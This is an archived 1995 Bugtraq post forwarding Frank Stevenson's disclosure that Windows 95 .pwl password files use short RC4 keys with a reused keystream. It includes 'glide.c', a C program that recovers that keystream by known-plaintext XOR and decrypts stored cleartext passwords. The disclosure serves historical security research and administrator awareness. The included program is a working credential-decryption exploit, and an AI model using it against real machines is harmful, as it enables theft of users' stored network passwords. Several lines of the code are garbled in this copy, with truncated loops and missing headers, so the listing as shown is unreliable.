Cracked: WINDOWS.PWL





Michael S. Fischer (msf@NSI.EDU)


Tue, 5 Dec 1995 12:57:34 -0800





   *  Messages sorted by: [ date ][ thread ][ subject ][ author ]


   *  Next message: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services


     accessed by any version"


   *  Previous message: *Hobbit*: "IMPORTANT: deslogin fixkit weakness"


   *  Next in thread: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services


        accessed by any version"





I don't know if this is suitable for inclusion on Bugtraq, but it's quite


scary if the implications are as described...





-------


 |\  Michael S. Fischer                           System Administrator  _O_


 |   Internet: mfischer@nsi.edu            The Neurosciences Institute   |


()   Phone: 619.626.2000  Pager: 619.645.5693            San Diego, CA   |





>---------- Forwarded message ----------


>Date: Mon, 4 Dec 1995 19:06:12 +0100



>From: Tatu Ylonen 


>To: ssh@clinet.fi


>Subject: FWD from Frank Andrew Stevenson: Cracked: WINDOWS.PWL





>I am sorry to send noise to the list; this deals with Windows95 but is


>quite relevant to many Unix administrators as well.  This is not


>related to ssh.  The ssh list is not intended for this kind of stuff,


>so please don't do what I am doing now.





>Basically, you should be aware that if you ever mount disks from Unix


>machines to Windows95 machines, the passwords of the unix machine (or


>your other file servers) will be stored on the Windows machine's disk


>essentially in the plain, and any 10-year computer-literate kid with a


>little knowledge will be able to retrieve them in seconds if he gets


>access to client machine.





>The message below explains the details.  Essentially it means that


>the whole encryption scheme used by Microsoft in Windows95 is a Bad


>Joke.  Not only does it use too short keys (breakable by brute force


>in 8 hours on a normal workstation), but additionally it screws up the


>implementation, meaning that your keys can be trivially decrypted


>in a fraction of a second without ever even brute-forcing the key.


>The program to do this is below.





>I find this kind of "security" shocking.  I think this should go to


>the mass media.  At least make people at your sites aware of this


>fiasco.





>    Tatu





>------- start of forwarded message (RFC 934 encapsulation) -------



>From: Frank Andrew Stevenson 


>To: cypherpunks@toad.com


>Subject: Cracked: WINDOWS.PWL


>Date: Mon, 4 Dec 1995 17:51:36 +0100 (MET)





>A few days ago Peter Gutmann posted a description on how


>Windows 95 produces RC4 keys of 32 bits size to protect


>the .pwl files. I verified the information and wrote a


>program to decrypt .pwl files with a known password, I then


>discovered that the .pwl files where well suited for a known


>plaintext attack as the 20 first bytes are completely predictable.





>The 20 first bytes of any .pwl files contains the username, which


>is the same as the filename, in capitals, padded with 0x00. From then


>I wrote a program to bruteforce the .pwl file and optimized it


>so it would run in less than 24 hours on an SGI. I run a test


>of the bruter software and recovered an unknown rc4 key in 8 hours,


>but the decrypted file was still largely uninteligeble, I then proceeded


>to decrypt the file at all possible starting points, and discovered


>valuable information (cleartext passwords) offset in the file.





>This has enormous implications: RC4 is a stream cipher, it


>generates a long pseudo random stream that it uses to XOR the


>data byte by byte. This isn't neccecaraly weak encryption if you


>don't use the same stream twice: however WIN95 does, every resource is


>XORed with the same pseudo random stream. What's more the 20


>first bytes are easy to guess. This is easy to exploit:


>XOR the 20 bytes starting at position 0x208 with the user name


>in uppercase, and slide this string through the rest of the file


>(xoring it with whatever is there) this reveals the 20


>first bytes of the different resources.





>>From there I went on to study the structure of the .pwl file it is


>something like this (decrypted):





>USERNAME.........wpwpwpwpwpwpwpwpwpwp


>rs???????


>rs


>rs


>rs???????????


>rs???????





>where wp is i word pointer to the different resources (from start


>of pwl file) The 2 first bytes of the resource (rs) is its length in bytes


>(of course XOR with RC4 output) It is the fairly easy to find all the


>resource pointers by jumping from start of resource to next resource,


>had it not been for the fact that the size sometimes is incorrect


>(courtesy of M$)





>What follows is a short c program that tries to remedy this and


>reconstruct the pointertable thus generating at least 54 bytes of the RC4


>pseudorandom stream, and then proceedes to decrypt as much as possible from


>the different resources.





>What does this show? Although RC4 is a fairly strong cipher, it has the


>same limitations as any XOR streamcipher, and implementing it without


>sufficient knowledge can have dire consequences. I strongly suggest that


>the programmers at Microsoft do their homework before trying anything like


>this again!











>DISCLAIMER:


>This is a quick hack, I don't make any claims about usefulness for


>any purpose, nor do I take responsibility for use nor consequences of


>use of the software. FUNCOM of Norway is not responsible for any of this,


>(I speak for myself, and let others speak for themselves)





>This source is hereby placed in the public domain, please


>improve if you can.





>- --- glide.c ---





>#include 


>#include 








>unsigned char Data[100001];


>unsigned char keystream[1001];


>int Rpoint[300];








>main (int argc,char *argv[]) {


>       FILE *fd;


>       int     i,j,k;


>       int     size;


>       char ch;


>       char *name;


>       int cracked;


>       int sizemask;


>       int maxr;


>       int rsz;


>       int pos;


>       int Rall[300]; /* resource allocation table */








>       if (argc<2) {


>               printf("usage: glide filename (username)");


>               exit(1);


>       }





>       /* read PWL file */





>       fd=fopen(argv[1],"rb");


>       if(fd==NULL) {


>               printf("can't open file %s",argv[2]);


>               exit(1);


>       }


>       size=0;


>       while(!feof(fd)) {


>               Data[size++]=fgetc(fd);


>       }


>       size--;


>       fclose(fd);





>       /* find username */


>       name=argv[1];


>       if(argc>2) name=argv[2];


>       printf("Username: %s\n",name);





>       /* copy encrypted text into keystream */


>       cracked=size-0x0208;


>       if(cracked<0) cracked=0;


>       if(cracked>1000) cracked=1000;


>       memcpy(keystream,Data+0x208,cracked );





>       /* generate 20 bytes of keystream */


>       for(i=0;i<20;i++) {


>               ch=toupper(name[i]);


>               if(ch==0) break;


>               if(ch=='.') break;


>               keystream[i]^=ch;


>       };


>       cracked=20;








>       /* find allocated resources */


>       sizemask=keystream[0]+(keystream[1]<<8);


>       printf("Sizemask: %04X\n",sizemask);





>       for(i=0;i<256;i++) Rall[i]=0;





>       maxr=0;


>       for(i=0x108;i<0x208;i++) {


>               if(Data[i]!=0xff) {


>                       Rall[Data[i]]++;


>                       if (Data[i]>maxr) maxr=Data[i];


>               }


>       }


>       maxr=(((maxr/16)+1)*16);        /* resource pointer table size


>appears to be


divisible by 16 */





>       /* search after resources */





>       Rpoint[0]=0x0208+2*maxr+20+2;   /* first resource */


>       for(i=0;i               /* find size of current resource */


>               pos=Rpoint[i];


>               rsz=Data[pos]+(Data[pos+1]<<8);


>               rsz^=sizemask;


>               printf("Analyzing block with size:


>%04x\t(%d:%d)\n",rsz,i,Rall[i]);


>               if( (Rall[i]==0) && (rsz!=0) ) {


>                       printf("unused resource has nonzero size !!!\n");


>                       exit(0);


>               }





>               pos+=rsz;





>               /* Resources have a tendency to have the wrong size for


>some reason */


>               /* check for correct size */





>               if(i                       while(Data[pos+3]!=keystream[1]) {


>                               printf(":(%02x)",Data[pos+3]);


>                               pos+=2; /* very rude may fail */


>                       }


>               }





>               pos+=2; /* include pointer in size */


>               Rpoint[i+1]=pos;


>       }


>       Rpoint[maxr]=size;





>       /* insert Table data into keystream */


>       for(i=0;i <= maxr;i++) {


>               keystream[20+2*i]^=Rpoint[i] & 0x00ff;


>               keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;


>       }


>       cracked+=maxr*2+2;





>       printf("%d bytes of keystream recovered\n",cracked);





>       /* decrypt resources */


>       for(i=0;i < maxr;i++) {


>               rsz=Rpoint[i+1]-Rpoint[i];


>               if (rsz>cracked) rsz=cracked;


>               printf("Resource[%d] (%d)\n",i,rsz);


>               for(j=0;j               printf("\n");


>       }








>       exit(0);


>}





>- --- end ---








>#include 


>E3D2BCADBEF8C82F A5891D2B6730EA1B PGPencrypted mail preferred, finger for key





>------- end -------




















--- end forwarded text





----- End Included Message -----





   *  Next message: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services


     accessed by any version"


   *  Previous message: *Hobbit*: "IMPORTANT: deslogin fixkit weakness"


   *  Next in thread: Rich Graves: "Re: Cracked: WINDOWS.PWL [most services


     accessed by any version"